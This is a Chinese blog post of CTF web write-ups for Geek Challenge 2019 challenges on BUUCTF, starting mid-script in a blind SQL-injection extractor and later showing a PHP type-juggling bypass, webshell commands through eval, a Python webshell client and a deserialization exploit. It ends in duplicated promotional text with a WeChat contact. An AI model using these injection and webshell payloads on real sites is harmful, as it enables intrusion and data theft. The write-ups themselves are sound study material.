[极客大挑战 2024]web部分题解(已完结!),2024年最新学习指南

while low <= high:
mid = (low + high) // 2
res = payload(i, mid)
if res:
low = mid + 1
else:
high = mid - 1
f = int((low + high + 1)) // 2
if (f == 127 or f == 31):
break
#print (f)
flag += chr(f)
print(flag)
time.sleep(0.5)

exp()
print(‘flag=’, flag)

脚本2:

import requests
url = “http://5cb9bdd9-00e4-4fcd-a9b3-872e7fe61aa7.node4.buuoj.cn:81/search.php”
flag = ‘’
for i in range(1,300):
low = 32
high = 127
while low < high:
mid = (low+high)//2

中间的语句为真,网页不报错,中间的语句为假,网页报错,根据这个判断

查数据库

database = “?id=1(ord(substr((select(database())),%d,1))>%d)1” % (i, mid)

查表

tables = “?id=1(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=‘geek’),%d,1))>%d)1”%(i,mid)

columns = “?id=1(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=‘F1naI1y’)),%d,1))>%d)1”%(i,mid)

data = “?id=1(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)1” % (i, mid)
print(chr(mid))

根据需要查询的内容改变get中的参数

r = requests.get(url=url+data)

print(url+database)

print(payload1)

print(r.raw)

if ‘Click’ in r.text:
low = mid + 1
else:
high = mid

print(low,mid,high)

flag += chr(low)
print(flag)

切记!不要为了速度把sleep删了!!!!!网页会响应不过来!

得到flag:

flag{4184bf22-51f1-4f03-a6f1-53f1734a5fb6}

其他web部分:

[极客大挑战 2019]BuyFlag

开启环境以后大眼看了下界面,点击payflag后发现了新界面!

可以看到要求:

1.你要是cuit里边的学生

2.你必须有正确的password

打开F12源码查看器确认下信息,有这么一串东西:

if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}


1.可以得到post是传参方式,如果password=404为真,就绕过,后边有is\_numeric()函数,同时为了绕过这个,就必须有字母,所以我们选择输入404x


打开hackbar,这样子传一下:



![](https://img-blog.csdnimg.cn/img_convert/1ca0bccac253911efe7b853cab541535.png)


发现没变化,那就抓包看一下吧:



![](https://img-blog.csdnimg.cn/img_convert/4db9a8706901109d10c4626916985019.png)


这时注意到,Cookie有个扎眼的user=0,改成1试试:



![](https://img-blog.csdnimg.cn/img_convert/e36ae4898ab11ec1eabfc2561dbd5edd.png)



![](https://img-blog.csdnimg.cn/img_convert/ba5a725e5f0a6bb4bdc0a3afcfd36c2a.png)


ok,可以看到提示变了,他说我们前两项都对了,但是必须付钱,那我们再机灵点,直接post money好了,改成他想要的:




password=404x&&money=100000000



![](https://img-blog.csdnimg.cn/img_convert/72c37d6071874c5a00c7a3c0418a81bb.png)


放包以后看一下结果:



![](https://img-blog.csdnimg.cn/img_convert/09c934c85fba6fede4b6376884883d52.png)


结果又过长了,我给改短也试了试,他说你钱不够,嘲讽你是loser~


这就难办了,加也不是,减也不是,很束手无措,估计这题难点就在这里了,我尝试找了下版本号:



![](https://img-blog.csdnimg.cn/img_convert/a450d8ac87035607d829a73a5a2d824d.png)


5.3.3版本下我记得可以用函数strcmp()对数字进行绕过,那就改造一下:




password=404x&&money[]=1000



![](https://img-blog.csdnimg.cn/img_convert/f018ded87b38e737df376d1c140b3e76.png)



![](https://img-blog.csdnimg.cn/img_convert/63063ff31e18b754814e47234a7dd75b.png)


Get!!!!!!!!!!拿下!!!!!!!




flag{b97e8597-44d5-4127-809e-c6aa087564b4}


### [极客大挑战 2019]Havefun


打开去撸猫:



![](https://img-blog.csdnimg.cn/img_convert/cd256499d990c707590e159072af6c8e.png)


撸了十分钟才想起要做题嗯~ o(\* ̄▽ ̄\*)o..,那就打开下F12:



![](https://img-blog.csdnimg.cn/img_convert/61232c64b1aa78344c71584ae9bc1069.png)


有个源码提示:




$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}



这样话直接get吧,cat=dog也没别的做的了=.=



![](https://img-blog.csdnimg.cn/img_convert/7edb1d1534fdec6f5eb812e77ec06ab5.png)



![](https://img-blog.csdnimg.cn/img_convert/303549a9a7921e15112413c3423bee2e.png)


直接拿了,撸猫撸的很开心!)╭ ( ̄︶ ̄)ψ




flag{21ffc3d1-4900-4c00-a8d8-dd2c32d7e6a4} 


### [极客大挑战 2019]Knife


#### 基础方法:


打开环境给了个一句话木马,说实话有点懵逼O.O!



![](https://img-blog.csdnimg.cn/img_convert/3fd38b5d3298642f66c87fd2142b685b.png)


那就直接蚁剑链接一下试试吧:



![](https://img-blog.csdnimg.cn/img_convert/720e5df2ffd55d3831f2cd045a6be76f.png)



![](https://img-blog.csdnimg.cn/img_convert/8a916503e374dc505ed310c7f87604e7.png)


直接连接成功了?O.O


那直接打指令找一下吧:




cat /flag



![](https://img-blog.csdnimg.cn/img_convert/f076f8c7f307a7ba9e592b0a59c9ebee.png)


出了,写到这里我总感觉那里不对,不应该这么简单,就琢磨了下,但是没想到好办法,这时候看到了两篇博客,是两位佬的其他思路:[士别三日wyx]( )和[Senimo\_]( )的这里我会讲解我理解下的内容,如果有兴趣的师傅建议去原文看一下,其中我真的很喜欢士别三日博客的一句话,真的建议每一位Ctfer记住!


#### 进阶方法一(@士别三日wyx):


首先回到这个初始界面



![](https://img-blog.csdnimg.cn/img_convert/c6909cec47462c46271c6b2d02beb781.png)


我们看到一句话木马,一句话木马本身是利用代码执行的函数进行运行,说的简单点就是你的post请求传入eval()中,那也就是说,我们可以修改Post请求的参数来执行代码!


打开hackbar执行:




Syc=phpinfo();


可以直接进入展示PHP信息界面:



![](https://img-blog.csdnimg.cn/img_convert/100c08242a6c2f3db96197415fee9c44.png)


这里很多人有疑问了,为什么要进入这里呢,因为在这个phpinfo界面下是无任何过滤的,这也是为什么,大多数网站的题目都要禁止或者加密不让访问这个界面,接下来进入下一步:


我们使用`var_dump()+scandir()`查看一下根目录:




Syc=var_dump(scandir('/'));



![](https://img-blog.csdnimg.cn/img_convert/672397b914eabe7353ee8e3676ab1a7b.png)


执行完以后看似没啥变化,这只是因为背景颜色遮挡了修改,ctrl+u进入源码界面:



![](https://img-blog.csdnimg.cn/img_convert/52123122e423721c7cb78e3ee7532e1a.png)


可以看到flag文件夹了,ctf有一个不成文的规矩就是要么不出flag字符,要么出现flag就在这里边!


那就访问下就好,使用`vay_dump+file_get_contents()`查看文件就还好了:




Syc=var_dump(file_get_contents('/flag'));



![](https://img-blog.csdnimg.cn/img_convert/c08d70b0e58db0416d1d6383f8853bbf.png)


这个时候在打开ctrl+u就得到了flag:



![](https://img-blog.csdnimg.cn/img_convert/2fe3e1a7e92ad396d9c8fc2d64517f49.png)


说实话,这个方法并不是什么很新奇或者很出乎意料的东西,但是贵就贵在守住了最原始的破解方式,让现在很多ctfer从只依赖脚本不去看基础知识的思维里跳出来,很难能可贵,借用大佬的话就是:


**喜欢一个东西首先要先学会「尊重」,虽然网络安全的圈子不乏各种灰产,以及高调宣传自己是黑客的脚本小子,但不可否认,这个圈子仍有不少人保持着「举世皆浊我独清,众人皆醉我独醒」的心态,努力磨砺技术,提升自身修养,让互联网变得更加安全。**


#### 进阶方法二(@Senimo\_):


方法三、进阶方法二是使用脚本(当然是自己手搓的):一句话木马的原理刚才说过了,这里不再提,尝试用python连接一下可以这么理解:


连接一句木马并使用`**SHELL**`,需要将一句话木马作为`**POST**`传值的参数,将`**PHP**`语句作为值传入,并通过`**PHP**`语句执行`**SHELL**`命令。


我们剖析一下菜刀的原理,先看下菜刀发送的数据包:




op=@eval(base64_decode($_POST[attack]));&attack=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztwcmludCgiaGVsbG8gUEhQISIpOztlY2hvKCJ8PC0iKTtkaWUoKTs=


op=@eval(base64\_decode($\_POST[attack]));为正常的一句话木马,其通过POST方式传参,参数名为attack  
base64\_decode()函数解码了传入的值  
因为对传入的值进行BASE64编码可以有效的防止特殊字符传输失败的异常。  
把值进行BASE64解码,得到:




@ini_set("display_errors","0"); @set_time_limit(0); @set_magic_quotes_runtime(0); echo("->|");; print("hello PHP!");; echo("|<-"); die();


首先进行测试:



![](https://img-blog.csdnimg.cn/img_convert/49930f506d334da9f9c6f6620c664e64.png)


可以得到预设的回显,这样的话就直接搬运脚本:




# -*- coding:utf-8 -*-
# name: Meng
# mail: 614886708@qq.com
# ctf_exp06:BUUCTF [极客大挑战 2019] Knife

import requests
import re


class Knife:
def __init__(self, url_input):
self.payload_data = {"Syc": "exec('cat /flag',$out);print_r($out);die();"}
self.status_code = 1        # 链接状态:0:无效,1:连通
self.url = url_input.strip()
self.flag = ''

def url_test(self):
# 可以重复输错10次链接
for i in range(9):
try:
# 对输入的url做判断
if self.url.endswith('/index.php') or self.url.endswith('buuoj.cn/') or self.url.endswith('buuoj.cn'):
# 尝试访问链接是否为200
requests.get(self.url)
print('测试状态: 200  ' + self.url)
except:
print('无效链接!请重新输入!')
self.url = input('请输入题目链接:')
self.status_code = 0

else:
self.status_code = 1
break

if self.status_code == 0:
print('无效链接!退出程序!')
return

def num_test(self):
# 设置获取flag只能重复30次
for i in range(30):
try:
r = requests.post(self.url, data=self.payload_data)

# 匹配buuctf平台flag格式
self.flag = re.search(r'flag\{.+\}', r.text).group()

except:
print('第 ' + str(i+1) + ' 次未获取到flag! 正在重试!')
else:
break

def run(self):
self.url_test()     # 连接测试
self.num_test()     # flag获取

if self.flag == '':
print('已尝试30次!未获取到flag! 退出程序!')

return self.flag


if __name__ == '__main__':
print('ctf_exp0: BUUCTF [极客大挑战 2019] Knife')
url_input = input('请输入题目链接:')
print(Knife(url_input).run())
input()  # 防止退出cmd


运行同样得到flag:




flag{732832c3-cca5-4852-803d-3cf15e43f364}


#### 作者随笔:


**这道简单的题目之所以要花这么长篇幅去写,更多是因为做题的时候看到**


**了那段大佬写的话,认为在学ctf的时候更多要知道自己是为什么才进入了**


**这个领域,赚一些什么固然很重要但是初心不忘更加难能可贵,想起来以**


**前看奥特曼的一句话:热忱之心不可变,不能走着走着忘了为什么才开**


**始。。。。**



![](https://img-blog.csdnimg.cn/img_convert/291f72e9c4d63b3f3596fc10d44781ef.png)


### [极客大挑战 2019]PHP


打开环境以后发现又可以逗猫,就偷偷玩了一小会儿。。。。好了!进入正题!


题目中明显说有备份文件,那就盲猜www.zip:



![](https://img-blog.csdnimg.cn/img_convert/0204f98bbaa4c6f9084676baf0936f5b.png)


ok,有东西,如果实在猜不到就dirseach扫描一下好了,打开源码包:


**class.php**




<?php
include 'flag.php';


error_reporting(0);


class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();


}
}
}
?>


**flag.php**




<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>


**index.js**




<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>


**index.php**




<!DOCTYPE html>
<head>
<meta charset="UTF-8">
<title>I have a cat!</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">
<link rel="stylesheet" href="style.css">
</head>
<style>
#login{   
position: absolute;   
top: 50%;   
left:50%;   
margin: -150px 0 0 -150px;   
width: 300px;   
height: 300px;   
}   
h4{   
font-size: 2em;   
margin: 0.67em 0;   
}
</style>
<body>







<div id="world">
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 85%;left: 440px;font-family:KaiTi;">因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯
</div>
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 80%;left: 700px;font-family:KaiTi;">不愧是我!!!
</div>
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 70%;left: 640px;font-family:KaiTi;">
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
</div>
<div style="position: absolute;bottom: 5%;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
</div>
<script src='http://cdnjs.cloudflare.com/ajax/libs/three.js/r70/three.min.js'></script>
<script src='http://cdnjs.cloudflare.com/ajax/libs/gsap/1.16.1/TweenMax.min.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/OrbitControls.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/Cat.js'></script>
<script  src="index.js"></script>
</body>
</html>


**style.css**




@import url(https://fonts.googleapis.com/css?family=Open+Sans:800);

#world{
position: absolute;
width:100%;
height: 100%;
background-color: #6ecccc;
overflow:hidden;
}

#credits{
position:absolute;
width:100%;
margin: auto;
bottom:0;
margin-bottom:20px;
font-family:'Open Sans', sans-serif;
color:#328685;
font-size:0.7em;
text-transform: uppercase;
text-align : center;
}
#credits a {
color:#328685;
}

#credits a:hover {
color:#630d15;
}


审计完构造出链子:


EXP:




<?php
class Name{
private $username = 'admine';
private $password = '100';
}
$select = new Name();
$res=serialize(@$select);   
echo $res
?>


执行出来后得到:




O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}


当然当然,众所周知,有个`__wakeup`永远没法安生,把2改成3。





**自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。**

**深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!**

**因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。**
![img](https://img-blog.csdnimg.cn/img_convert/0dbe42bd9ba792213fe8eced82dff675.png)
![img](https://img-blog.csdnimg.cn/img_convert/22439a2c4bb30c493da48f7a236d55f0.png)
![img](https://img-blog.csdnimg.cn/img_convert/70dc60ad3cdd67d6e099718d8e8ff94b.png)
![img](https://img-blog.csdnimg.cn/img_convert/2a8391a77b3fb89279a9a36fb98b034b.png)
![img](https://img-blog.csdnimg.cn/img_convert/488060336a36237427fe02f403cbdb17.png)
![img](https://img-blog.csdnimg.cn/img_convert/d606c67f7eeff17a89c33ba7c95a242b.png)

**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!**

**由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新**

**如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)**
![img](https://img-blog.csdnimg.cn/img_convert/688cfcdb121469aa87945d30de112792.png)



## 写在最后

**在结束之际,我想重申的是,学习并非如攀登险峻高峰,而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后,持之以恒的学习变得愈发不易,如同在茫茫大海中独自划舟,稍有松懈便可能被巨浪吞噬。然而,对于我们程序员而言,学习是生存之本,是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习,我们便如同逆水行舟,不进则退,终将被时代的洪流所淘汰。因此,不断汲取新知识,不仅是对自己的提升,更是对自己的一份珍贵投资。让我们不断磨砺自己,与时代共同进步,书写属于我们的辉煌篇章。**


需要完整版PDF学习资源私我





**一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**
![img](https://img-blog.csdnimg.cn/img_convert/ec55f78e648b37341d434361ad4598d2.png)

中...(img-kNW0fWy1-1712731213549)]
[外链图片转存中...(img-WgUeWHRl-1712731213549)]

**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!**

**由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新**

**如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)**
[外链图片转存中...(img-48eKqfkY-1712731213549)]



## 写在最后

**在结束之际,我想重申的是,学习并非如攀登险峻高峰,而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后,持之以恒的学习变得愈发不易,如同在茫茫大海中独自划舟,稍有松懈便可能被巨浪吞噬。然而,对于我们程序员而言,学习是生存之本,是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习,我们便如同逆水行舟,不进则退,终将被时代的洪流所淘汰。因此,不断汲取新知识,不仅是对自己的提升,更是对自己的一份珍贵投资。让我们不断磨砺自己,与时代共同进步,书写属于我们的辉煌篇章。**


需要完整版PDF学习资源私我





**一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**
[外链图片转存中...(img-j914JfxB-1712731213550)]

  • 4
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值